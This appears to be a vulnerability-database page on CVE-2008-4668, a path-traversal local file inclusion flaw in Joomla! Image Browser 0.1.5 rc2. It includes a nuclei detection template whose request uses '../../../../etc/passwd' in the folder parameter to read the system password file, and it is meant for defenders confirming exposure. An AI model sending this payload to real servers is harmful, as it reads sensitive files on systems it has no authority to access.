HexBrain

Browse / CVEs / CVE-2008-4668

CVE-2008-4668· joomla / com imagebrowser· CWE-22

Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion

criticalseverity
9CVSS score
21.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.

Fix

Upgrade to a patched version of Joomla! Image Browser or apply the necessary security patches to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2008-4668 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2008-4668

info:
  name: Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Joomla! Image Browser or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6618
    - http://securityreason.com/securityalert/4464
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45490
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:P
    cvss-score: 9
    cve-id: CVE-2008-4668
    cwe-id: CWE-22
    epss-score: 0.21476
    epss-percentile: 0.97634
    cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: com_imagebrowser
  tags: cve2008,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from